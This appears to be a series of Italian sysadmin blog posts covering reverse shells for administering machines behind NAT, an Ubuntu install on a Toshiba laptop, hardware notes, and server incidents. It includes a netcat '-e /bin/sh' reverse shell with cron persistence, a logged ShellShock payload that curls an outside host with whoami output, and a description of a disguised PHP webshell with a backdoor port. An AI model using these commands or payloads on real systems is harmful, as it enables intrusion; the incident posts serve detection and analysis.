Amministrare macchine sotto NAT

In alcuni casi puo' risultare necessario amministrare macchine che risultano dietro un router che fa NAT e quindi non hanno un indirizzo pubblico (ne' statico ne' dinamico) ma solo un indirizzo privato (si presentano su Internet con il solo indirizzo del router)

Un trucco puo' essere quello di configurare il router per fare port forwarding verso il client interno ma su alcuni reti (vedi quelle della telefonia mobile o Fastweb) cio' non e' possibile

In questi casi si puo' procedere con due metodi usando in entrambi i casi una reverse shell in cui la connessione e' iniziata dalla macchina nattata (questo permette di attraversare tranquillamente il router/firewall poiche' di solito le connessioni sono praticamente sempre filtrate solo dall'esterno verso l'interno)

Netcat
Su una macchina con indirizzo pubblico si digita (ovviamente non ci devono essere gia' server che sfruttano la porta 8080)
netcat -lvp 8080a questo punto dalla macchina nattata si digita

netcat -e /bin/sh ip_esterno 8080
a questo punto digitando i comandi sulla shell della macchina con ip pubblico si riescono ad eseguire i comandi sulla macchina nattata

SSH 
Supponiamo di avere una macchina con indirizzo pubblico su cui gira un server SSH ed un account su questa macchina (
Dalla macchina nattata si puo' digitare
ssh -R 8080:localhost:22 nome@ip_esterno

dalla macchina con ip pubblico si digita dove l'utente e la corrispettiva password sono quelle della macchina nattata

ssh utente1@localhost -p 8080

a questo punto i comandi digitati sulla macchina con ip pubblico vengono sulla macchina nattata

In tutto cio' c'e' un problema. Per effettuare il collegamento si deve interagire prima con la macchina nattata per poter aprire la connessione. Ma come si fa se questa e' irraggiungibile?? La soluzione, escludendo l'intervento umano di un collega sul posto, puo' essere quello di uno script in cron che lanci il comando a determinati intervalli. Se l'altro capo della comunicazione non e' pronto semplicemente la connessione viene interrotta, altrimenti inizia l'amministrazione remota

Ubuntu su Satellite NB10-A-102

Un amico mi ha passato il portatile in oggetto, un portatile Toshiba Satellite NB10-A-102 PU141E, per installare Ubuntu

Il computer ha un costo decisamente ridotto (tra 220 e 250 euro) ed ha uno schermo da 11.6 con scheda grafica integrata Intel. Le impressioni di uso sono abbastanza pessime perche' i tasti sono decisamente piccoli ed hanno una corsa ridicola (basta sfiorarli per trovarsi a cliccare)

Il fatto che il mio amico mi chiedesse di installare la macchina era sospetto perche' usa normalmente Linux e non e' esattamente uno sprovveduto in questo campo. Secondo quanto descritto, aveva gia' installato una 14.04 ma al riavvio ma la macchina non faceva salire il sistema operativo (primo sospettato EFI boot)

Non avendo drive ottico ho preparato una chiavetta USB con l'ultima iso di Ubuntu e mi sono trovato a fronteggiare una serie di errori:

in alcuni casi la chiavetta non veniva riconosciuta al boot e non trovando supporti disponibili la macchina si piantava alla partenza
in altri casi la chiavetta era riconosciuta ma dava una serie di errori irreversibile cercando di montare l'immagine live dell'installer

dopo aver creato una decina di chiavette ho chiaramente visto che non era il supporto corrotto ma c'era qualcosa nel bios che non andava. Frugando su internet viene consigliato di usare le porte USB di destra per inserire i dispositivi Usb di boot (??? Strano consiglio, ma a quel punto inizio a ruotare su tutte le porte per vedere se ho successo e finalmente mi si avvia il live cd ...ovviamente usando la porta Usb di sinistra)
Installo il sistema fino al termine in modo corretto (un po' lentamente a dire la verita'). Shutdown. Power On e la macchina si pianta al boot non riconoscendo il boot da disco fisso

Finalmente capito su questo post che indica come ci sia una incompatibilita' tra i file che installa Ubuntu ed il bios Efi di Toshiba. In pratica il bios si aspetta di trovare una directory /efi/boot ma trova il suo posto /efi/ubuntu ovviamente andando nei pazzi. Inoltre bisogna copiare il file  BOOTx64.EFI nella /efi/boot

Per fare cio' si deve riavviare la macchina dall'usb (se ci si riesce, e' piu' questione di fortuna che di capacita') e copiare a mano i file dal supporto live verso l'hdd come descritto nel post

A questo punto dopo due ore di lavoro la macchina e' pronta per l'utilizzo con praticamente tutte le periferiche riconosciute.

Debian??ci ho provato ma non mi ha avviato X (non riconoscendomi nemmeno il touchpad in fase di installazione) ed il mio amico aveva espressamente richiesto Ubuntu  per cui ho desistito subito

Quanto e' grande un MacBook??

Mi e' capitato di vedere un MacBook (Core DueDuo) ridotto ai minimi termini e sono rimasto stupefatto
Nella foto si puo' vedere la motherboard a fianco di una comune penna per riferimento

Per la cronaca il riflesso del flash e' sul touchpad, quella arrotolata sulla sinistra e' la matrice della tastiera, in alto lo speaker ed il disco SSD

WD10EADS

Un amico mi ha passato un disco WD Caviar Green della serie WD10EADS che era inserito dentro un mediacenter Mediacom
Il motivo della donazione e' che tramite Windows XP non riusciva piu' ad interagire con il disco mentre io con una prova fatta tramite Linux ero riuscito a copiare i dati (del tipo "tienilo te almeno ti serve a qualcosa")

Vista la dimensione generosa del disco ho deciso che valeva la pena di comprare un box SATA 3.5" per farlo diventare un disco di backup esterno.
Con sorpresa ho verificato che il disco e' sostanzialmente integro (nel senso che si puo' formattare in vari formati, si possono copiare dati e si possono rileggere) ma ha una velocita' decisamente ridicola (giusto per esempio per la lettura di un file video da circa 1 Gb sono stati necessari 7-8 minuti per una velocita' di circa 400 Kb/s (in alcuni casi ho misurato velocita' inferiori ai 200 Kb/s)

Con ricerca su internet di brevissima durata sono incappato in questo post che descrive esattamente le problematiche osservate

In conclusione il disco e' stato messo da parte in attesa di smaltimento

ShellShock Scanning

Come prevedibile si cominciano a vedere passare nei log dei server i tentativi di utilizzare la vulnerabilita' di Bash ShellShock

Ecco come si presenta un tentativo di exploit
(la riga xxxxxx.org indica il nome del server che e' sottoposto ad attacco)

xx.xxx.xx.xxx - - [05/Oct/2014:11:53:00 +0200] "GET / HTTP/1.1" 200 88868 "-" "() { :;}; /bin/bash -c \"curl http://ntontomou.com/custom/ping.php?domain=xxxxxxxxxx.org\\&whoami=`whoami`\""

in pratica si tratta di una enumerazione piu' che di un attacco. Lo script controlla se la macchina e' vulnerabile a ShellShock ed in caso positivo si collega al sito ntontomou.com aggiornando la pagina ping.php per creare un elenco
La cosa interessante e' che oltre al nome del dominio viene passato anche il risultato del comando whoami credo per mostrare con che utente viene gestito il webserver (tipo www-data)

Cercando tracce di ShellShock ho trovato anche questa richiesta

xx.xxxx.xxx.xxx - - [29/Sep/2014:11:53:39 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 519 "-" "-"

da una ricerca non si tratta di una scansione ShellShock ma si cerca di sfruttare una vulnerabilita' di router Cisco o Linksys (peccato che le macchine scansionate siano tutte Linux)

Trojan (cinese?) su server Debian 2

Qualche giorno fa avevo segnalato la presenza di un file sospetto su un server Debian ma non avevo trovato notizie su Internet

A seguito del post sono stato contattato da persone legate a Virustotal.com che mi chiedevano di condividere il file per una analisi (sicuramente piu' dettagliata di quella che avevo fatto io)
Dopo aver fatto qualche verifica che non stavo mandando il programma a male intenzionati ho effettuato l'upload e sono stato autorizzato a pubblicare una sintesi (non il dettaglio) dello scambio di mail che abbiamo avuto

1: avevo intuito bene e mi e' stato confermato che il file da me segnalato era malware peraltro non ancora segnalato su Virustotal

2: il programma aveva un compagno di un rootkit posizionato in /proc/rs_dev. Putroppo il server nel frattempo e' stato formattato e non ho piu' posssibilita' di esaminare il file richiesto

3: il componente sembra legato alla famiglia citata in questo post.(mi ricordo che vecchi tempi in cui i virus sotto Ms-Dos  usavano una tecnica simile)

404.php

Frugando su un server alla ricerca di anomalie mi e' caduto l'occhio su un file denominato 404.php in una posizione anomala

Richiamato dal browser assomiglia ad una normale pagina di errore 404 (File not found) di Apache ma la dimensione del file era decisamente anomala per un messaggio cosi' corto

Con un po' di attenzione al di sotto delle scritte c'erano anche 4 pallini che hanno attirato la mia attenzione

Aprendo il codice Php era evidente che non si trattava di un errore 404 ma di un malware. In pratica i pallini indicano il campo di inserimento di una password attraverso la quale si accede ad una shell in Php

La password e' gia' crittata in md5 e non ho modo di conoscerla ma avendo il sorgente e' facile sostituire la stringa md5 con la stringa md5 di una propria password

Fatto cio' si accede ad una finestra di amministraizone che mette a nudo la configurazione della macchina per l'attaccante

Nella finestra sottostante viene mostrato il file /etc/passwd

e' altresi' disponibile un file manager che permette di navigare tutto il filesystem (a meno di non mettere il webserver in chroot)

e' possibile effettuare una scansione del file system alla ricerca di cattive configurazioni

c'e' anche una funzione che apre una backdoor su una porta a scelta per esporre una shell

In un buona sostanza un pessimo ospite da avere su una propria macchina